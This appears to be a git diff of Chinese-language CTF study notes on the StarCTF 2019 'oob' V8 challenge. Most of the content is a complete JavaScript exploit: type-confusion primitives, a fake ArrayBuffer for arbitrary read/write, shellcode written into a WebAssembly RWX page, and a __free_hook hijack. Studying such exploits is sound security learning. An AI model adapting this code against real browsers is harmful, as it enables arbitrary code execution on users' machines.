0x9c1ffee1728 +0x9c1ffee16a1->0x9c1ffee1728 is 0x87 bytes (0x10 words) +``` + +以下是弹计算器的`exp`​: + +```js +let array_buffer = new ArrayBuffer(0x8); +let data_view = new DataView(array_buffer); +%DebugPrint(array_buffer); +function d2u(value) { + data_view.setFloat64(0, value); + return data_view.getBigUint64(0); +} + +function u2d(value) { + data_view.setBigUint64(0, value); + return data_view.getFloat64(0); +} + +function hex(val) { + return '0x' + val.toString(16).padStart(16, "0"); +} + +var obj = {}; +var object_array = [obj]; +var object_array_map = object_array.oob(); +var float_array = [1.1]; +var float_array_map = float_array.oob(); + +function addressOf(obj) { + float_array.oob(object_array_map); + float_array[0] = obj; + float_array.oob(float_array_map); + return d2u(float_array[0]); +} + +function fakeObject(addr) { + object_array.oob(float_array_map); + object_array[0] = u2d(addr | 1n); + object_array.oob(object_array_map); + return object_array[0]; +} + + + +var float_ab_mem = [ + u2d(0n), // Map + u2d(0n), // Properties + u2d(0n), // Elements + u2d(0x1000n << 32n), // ByteLength + u2d(0n), // BackingStore + u2d(0n), // Map + u2d(0x1900042319080808n), // Type +]; + +%DebugPrint(float_ab_mem); +%SystemBreak(); +var fake_ab_addr = addressOf(float_ab_mem) + 0x58n; +float_ab_mem[0] = u2d(fake_ab_addr + 0x28n); +var fake_ab = fakeObject(fake_ab_addr); +var fake_dv = new DataView(fake_ab); + +function arb_read_qword(addr) { + float_ab_mem[4] = u2d(addr); + return fake_dv.getBigUint64(0, true); +} + +function arb_write_qword(addr, value) { + float_ab_mem[4] = u2d(addr); + return fake_dv.setBigUint64(0, value, true); +} + +let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, + 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, + 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, + 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, + 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, + 42, 11]); +let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code)); +let f = wasm_mod.exports.main; + +var rwx_mem_addr = arb_read_qword(addressOf(wasm_mod) - 1n + 0x88n); +print("[*] rwx mem addr: " + hex(rwx_mem_addr)); + +var shellcode = [ + 0x636c6163782fb848n, + 0x73752fb848500000n, + 0x8948506e69622f72n, + 0x89485750c03148e7n, + 0x3ac0c748d23148e6n, + 0x4944b84850000030n, + 0x48503d59414c5053n, + 0x485250c03148e289n, + 0x00003bc0c748e289n, + 0x0000000000050f00n +] + + +for (let i = 0; i < shellcode.length; i++) { + arb_write_qword(rwx_mem_addr + BigInt(i) * 8n, shellcode[i]); +} + +f(); +``` + +### 劫持free_hook + +这个利用很简单,只需要想办法找到libc基址即可。 + +```js +var array_addr = addressOf(Array); +var elf_base = arbitrary_address_read(arbitrary_address_read(array_addr - 1n + 0x30n) + 0x41n) - 0xf8f680n; +print("[*] elf base: " + hex(elf_base)); +var libc_base = arbitrary_address_read(elf_base + 0x1271b90n) - 0x7b0c0n; +print("[*] libc base: " + hex(libc_base)); + +var system_addr = libc_base + 0x4f420n; +var free_hook_addr = libc_base + 0x3ed8e8n; +arbitrary_address_write(free_hook_addr, system_addr); + +print("/snap/bin/gnome-calculator"); +``` + +问题: + +1. Element 的构成 +2. ​`var`​和`let`​的区别以及内存中的体现 + +‍ diff --git a/Pwn/ChromeV8-Exploit/V8基础环境配置/StarCTF2019_OOB/assets/image-20240906225429-i1x9wdb.png b/Pwn/ChromeV8-Exploit/V8基础环境配置/StarCTF2019_OOB/assets/image-20240906225429-i1x9wdb.png new file mode 100644 index 0000000..f7e655d Binary files /dev/null and b/Pwn/ChromeV8-Exploit/V8基础环境配置/StarCTF2019_OOB/assets/image-20240906225429-i1x9wdb.png differ diff --git a/Pwn/ChromeV8-Exploit/V8基础环境配置/StarCTF2019_OOB/assets/image-20240906225659-xrurxjk.png b/Pwn/ChromeV8-Exploit/V8基础环境配置/StarCTF2019_OOB/assets/image-20240906225659-xrurxjk.png new file mode 100644 index 0000000..928d79a Binary files /dev/null and b/Pwn/ChromeV8-Exploit/V8基础环境配置/StarCTF2019_OOB/assets/image-20240906225659-xrurxjk.png differ diff --git a/Pwn/ChromeV8-Exploit/V8基础环境配置/StarCTF2019_OOB/assets/image-20240906225727-w9b7zb0.png b/Pwn/ChromeV8-Exploit/V8基础环境配置/StarCTF2019_OOB/assets/image-20240906225727-w9b7zb0.png new file mode 100644 index 0000000..fdc2ed3 Binary files /dev/null and b/Pwn/ChromeV8-Exploit/V8基础环境配置/StarCTF2019_OOB/assets/image-20240906225727-w9b7zb0.png differ diff --git a/Pwn/ChromeV8-Exploit/V8基础环境配置/StarCTF2019_OOB/assets/image-20240906234540-augcj8g.png b/Pwn/ChromeV8-Exploit/V8基础环境配置/StarCTF2019_OOB/assets/image-20240906234540-augcj8g.png new file mode 100644 index 0000000..b0f61e1 Binary files /dev/null and b/Pwn/ChromeV8-Exploit/V8基础环境配置/StarCTF2019_OOB/assets/image-20240906234540-augcj8g.png differ diff --git a/Pwn/ChromeV8-Exploit/V8基础环境配置/StarCTF2019_OOB/assets/image-20240906235307-v5p2br7.png b/Pwn/ChromeV8-Exploit/V8基础环境配置/StarCTF2019_OOB/assets/image-20240906235307-v5p2br7.png new file mode 100644 index 0000000..5718f6d Binary files /dev/null and b/Pwn/ChromeV8-Exploit/V8基础环境配置/StarCTF2019_OOB/assets/image-20240906235307-v5p2br7.png differ diff --git a/Pwn/ChromeV8-Exploit/V8基础环境配置/StarCTF2019_OOB/assets/image-20240906235316-qpfqxdd.png b/Pwn/ChromeV8-Exploit/V8基础环境配置/StarCTF2019_OOB/assets/image-20240906235316-qpfqxdd.png new file mode 100644 index 0000000..9c30e81 Binary files /dev/null and b/Pwn/ChromeV8-Exploit/V8基础环境配置/StarCTF2019_OOB/assets/image-20240906235316-qpfqxdd.png differ diff --git a/Pwn/ChromeV8-Exploit/V8基础环境配置/StarCTF2019_OOB/assets/image-20240907004342-krfbgep.png b/Pwn/ChromeV8-Exploit/V8基础环境配置/StarCTF2019_OOB/assets/image-20240907004342-krfbgep.png new file mode 100644 index 0000000..b9a87d0 Binary files /dev/null and b/Pwn/ChromeV8-Exploit/V8基础环境配置/StarCTF2019_OOB/assets/image-20240907004342-krfbgep.png differ diff --git a/Pwn/ChromeV8-Exploit/V8基础环境配置/StarCTF2019_OOB/assets/image-20240907011413-87xf3t5.png b/Pwn/ChromeV8-Exploit/V8基础环境配置/StarCTF2019_OOB/assets/image-20240907011413-87xf3t5.png new file mode 100644 index 0000000..7a6987d Binary files /dev/null and b/Pwn/ChromeV8-Exploit/V8基础环境配置/StarCTF2019_OOB/assets/image-20240907011413-87xf3t5.png differ